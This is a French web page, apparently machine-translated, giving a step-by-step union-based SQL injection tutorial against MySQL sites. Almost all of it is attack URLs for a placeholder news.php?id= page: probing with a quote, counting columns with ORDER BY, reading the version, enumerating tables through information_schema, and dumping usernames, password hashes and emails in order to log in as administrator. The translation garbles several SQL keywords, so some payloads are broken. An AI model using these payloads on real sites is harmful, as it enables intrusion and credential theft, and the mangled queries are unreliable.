Rechercher

Contact

TUTORIEL ATTACK SQL INJECTION SITE WEB

30/03/2014 14:24


 

Tutoriel d'injection SQL ( MySQL )Dans ce tutoriel, je vais décrire comment SQL œuvres d'injection et comment l'utiliser pour obtenir des informations utiles .Tout d'abord : Qu'est-ce que l'injection SQL ?C'est l'un de la vulnérabilité la plus courante dans les applications web aujourd'hui . Il permet attaquant d'exécuter la requête de base de données dans l'URL et d'accéder à des informations confidentielles , etc ... ( en peu de temps ) .1.SQL injection ( classique ou erreur sur la base )2.Blind injection SQL (la partie la plus difficile )nous allons donc commencer avec des mesuresÉtape 1 : - Arrivée de la vulnérabilitéDisons que nous avons un site comme celui-https://www.site.com/news.php?id=5Maintenant, pour tester si c'est vulrnable l'on ajoute à la fin de l'URL " ( citation ) , et que ce seraithttps://www.site.com/news.php?id=5 'si nous obtenons une erreur comme" Vous avez une erreur dans votre syntaxe SQL ; consultez le manuel qui correspond à votre version du serveur MySQL pour le droit etc ... " ou quelque chose de semblable que le moyen est vulrnable à injection sql .Étape 2 : - Trouver le nombre de colonnesPour trouver le nombre de colonnes que nous utilisons déclaration ORDER BY ( base de données indique comment commander le résultat ) alors comment l'utiliser? Eh bien tout simplement incrémenter le nombre jusqu'à ce que nous obtenons une erreur .https://www.site.com/news.php?id=5 ordre de 1 / * < - aucune erreur https://www.site.com/news.php?id=5 ordre de 2 / * < - aucune erreur https://www.site.com/news.php?id=5 ordre de 3 / * < - aucune erreur https://www.site.com/news.php?id=5 ordre de 4 / * < - erreur ( nous recevons un message comme celui-ci Unknown column '4 ' dans «clause de l'ordre» ou quelque chose comme ça )ce qui signifie que l' on dispose de 3 colonnes , parce que nous avons une erreur sur 4 .Étape 3: - Contrôler le fonctionnement de UNIONAvec l'union , nous pouvons sélectionner plus de données dans une instruction SQL. nous avons donc https://www.site.com/news.php?id=5 union all select 1,2,3 / * ( nous avons déjà constaté que nombre de colonnes sont 3 de la section 2 ) . si nous voyons quelques chiffres sur l'écran , soit 1 ou 2 ou 3 , puis les travaux de l'Union.Étape 4 : - Vérifier la version de MySQLhttps://www.site.com/news.php?id=5 union all select 1,2,3 / *REMARQUE : si / * ne fonctionne pas ou si vous obtenez une erreur , puis essayez - c'est un commentaire et il est important pour notre requête fonctionne correctement . Disons que nous avons le numéro 2 sur l'écran , maintenant pour vérifier la version que nous remplaçons le numéro 2 avec @ @ la version ou la version ( ) et obtenir quelque-chose comme 4.1.33 -log ou 5.0.45 ou similaire . il devrait ressembler à cette union de toutes https://www.site.com/news.php?id=5 sélectionner 1 , @ @ version 3 / * si vous obtenez une erreur " union + mix illégale des classements (implicite + Coercible ) ... " je ne vois pas de papier concernant ce problème , donc je dois l'écrire nous avons besoin d' converti function () union iehttp :/ / www.site.com/news.php?id=5 de sélectionner tous les 1 , convertir ( @ @ version en utilisant latin1 ) , 3 / * ou hex ( ) et UNHEX ( ) c'est-à- https://www.site.com/news.php?id=5 union all select 1 , UNHEX (hex ( @ @ Version ) ) , 3 / * et vous obtiendrez la version MySQL .Étape 5: - Obtenir la table et de la colonne nomEh bien, si la version de MySQL est < 5 ( c.-à- 4.1.33 , 4.1.12 ... ) < - plus tard i décrira pour MySQL > 5 Version . nous devons deviner table et nom de colonne dans la plupart des cas . noms de table communes sont: user / s , admin / s , membre / s ... les noms de colonnes communes sont : nom d'utilisateur , utilisateur, usr , user_name , mot de passe , passe, passwd , pwd etc ... i.e serait https://www.site.com/news.php?id=5 union all select 1,2,3 de admin / * (on voit le numéro 2 sur l'écran comme avant , et c'est bon : D ) nous savons que la table existe administration ... maintenant pour vérifier les noms de colonnes . https://www.site.com/news.php?id=5 union tout sélectionner 1 , nom d'utilisateur , 3 de admin / * ( si vous obtenez une erreur , puis essayez l'autre nom de la colonne ) nous obtenons nom affiché à l'écran , par exemple serait admin, ou superadmin etc ... maintenant à vérifier si le mot de passe de colonne existe https://www.site.com/news.php?id=5 union tout sélectionner 1 , mot de passe , 3 de admin / * ( si vous obtenez une erreur , puis essayez l'autre nom de la colonne ) nous avons vu le mot de passe sur l'écran de hachage ou de texte brut , cela dépend de la façon dont la base de données est mis en placei.e hash md5 , mysql hachage , sha1 ... maintenant nous devons compléter requête à faire joli pour que nous puissions utiliser concat (fonction ) ( il rejoint cordes)i.e https://www.site.com/news.php?id=5 union tout sélectionner 1 , concat (username , 0x3a , mot de passe ) , 3 de admin / * Notez que j'ai mis 0x3a , sa valeur hexadécimale pour : ( si 0x3a est valeur hexadécimale du côlon ) ( il ya une autre façon pour que , char ( 58 ) , la valeur ascii : ) https://www.site.com/news.php?id=5 union all select 1 , concat (username , char ( 58 ) , mot de passe ) , 3 de admin / * maintenant nous avons identifiant dislayed : mot de passe sur l'écran , c'est à dire admin: admin ou admin: somehash quand vous avez cela, vous pouvez vous connecter comme administrateur ou un super-utilisateur si ne peut pas deviner le nom de la table à droite, vous pouvez toujours essayer mysql.user (par défaut) Il a l'utilisateur i passe colonnes , si par exemple serait https://www.site.com/news.php?id=5 union all select 1 , concat ( utilisateur, 0x3a , mot de passe ) , 3 de mysql.user / *Étape 6 : - MySQL 5Comme je l'ai dit précédemment, je vais vous expliquer comment obtenir les noms de table et de colonne dans MySQL > 5 . Pour cela, nous devons information_schema . Il détient toutes les tables et les colonnes de base de données . pour obtenir des tableaux que nous utilisons nom_table et INFORMATION_SCHEMA.TABLES .i.e https://www.site.com/news.php?id=5 union all select 1 , table_name , 3 de INFORMATION_SCHEMA.TABLES / * ici nous remplaçons le notre numéro 2 avec table_name pour obtenir la première table de INFORMATION_SCHEMA.TABLES affiché sur l'écran . Maintenant, nous devons ajouter LIMITE à la fin de la requête pour lister toutes les tables .i.e https://www.site.com/news.php?id=5 union all select 1 , table_name , 3 de INFORMATION_SCHEMA.TABLES limiter 0,1 / * Notez que j'ai mis 0,1 ( se 1 résultat à partir de la 0e ) maintenant à voir le second tableau , nous changeons limiter 0,1 à 1,1 limiteri.e https://www.site.com/news.php?id=5 union all select 1 , table_name , 3 de INFORMATION_SCHEMA.TABLES limiter 1,1 / * la seconde table est affiché . pour la troisième tableau, nous mettons limite 2,1i.e https://www.site.com/news.php?id=5 union all select 1 , table_name , 3 de INFORMATION_SCHEMA.TABLES limiter 2,1 / * garder l'incrémentation jusqu'à ce que vous obtenez quelques utiles comme DB_ADMIN , poll_user , auth, etc auth_userPour obtenir les noms de colonnes , la méthode est la même . ici nous utilisons column_name et information_schema.columns la méthode est la même que ci-dessus afin exemple serait https://www.site.com/news.php?id=5 union all select 1 , nom_colonne , 3 de information_schema.columns limiter 0,1 / * la première colonne est diplayed . le second ( on change limiter 0,1 à 1,1 limiter )dire . https://www.site.com/news.php?id=5 union all select 1 , nom_colonne , 3 de information_schema.columns limiter 1,1 / * la deuxième colonne est affiché , alors gardez l'incrémentation jusqu'à ce que vous obtenez quelque chose comme nom d'utilisateur , utilisateur , login , mot de passe , passe, passwd , etc ... si vous voulez afficher les noms de colonnes pour la table spécifique cette requête . ( clause where ) disons que nous avons trouvé les utilisateurs de table .i.e https://www.site.com/news.php?id=5 union tout sélectionner 1 , nom_colonne , 3 de information_schema.columns où table_name = ' utilisateurs ' / * maintenant nous sommes s'affiche nom de colonne dans la table des utilisateurs . Tout en utilisant LIMIT nous pouvons citer toutes les colonnes de table users . Notez que cela ne fonctionne pas si les magic quotes est activé. disons que nous avons trouvé l'utilisateur de colonnes , passe et e-mail . maintenant à compléter la requête pour les mettre tous ensemble pour que nous utilisons concat ( ) , i decribe plus tôt.i.ehttps://www.site.com/news.php?id=5 union all select 1 , concat ( utilisateur, 0x3a , passer , 0x3a , email ) des utilisateurs / * ce que nous obtenons ici est l'utilisateur : pass: e-mail des utilisateurs du tableau . exemple : admin : pass: blabla@whatever.com